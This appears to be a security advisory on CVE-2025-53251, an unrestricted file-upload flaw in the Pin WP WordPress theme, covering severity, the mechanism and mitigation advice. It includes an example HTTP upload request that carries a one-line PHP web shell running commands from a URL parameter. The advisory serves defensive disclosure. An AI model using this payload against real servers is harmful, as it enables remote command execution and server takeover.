Overview
The cybersecurity community has recently identified a critical vulnerability, CVE-2025-53251, affecting the An-Themes Pin WP theme. This vulnerability allows unrestricted upload of files with dangerous types, enabling potential attackers to upload a web shell to a web server. The severity of this vulnerability lies in its potential to lead to system compromise or significant data leakage. Therefore, it is crucial to understand its workings, potential impacts, and mitigation strategies for all users of Pin WP theme versions before 7.2.
Vulnerability Summary
CVE ID: CVE-2025-53251
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
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Product | Affected Versions
An-Themes Pin WP | Before 7.2
How the Exploit Works
The exploit takes advantage of the unrestricted file upload vulnerability in the An-Themes Pin WP theme. Attackers can upload a harmful file, such as a web shell, to the server. A web shell is a script that can be uploaded to a web server to enable remote administration of the machine. This gives the attacker the ability to execute arbitrary commands and steal data, or use the server to launch attacks on other targets.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability:
POST /wp-content/themes/pin-wp/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is uploading a PHP shell script named “shell.php” that allows them to execute arbitrary system commands.
Mitigation Guidance
Users affected by this vulnerability are strongly advised to update to the latest version of An-Themes Pin WP theme as soon as possible. If immediate patching is not feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These tools can detect and block attempts to exploit this vulnerability. However, they should not be considered a long-term solution as they do not remove the underlying vulnerability.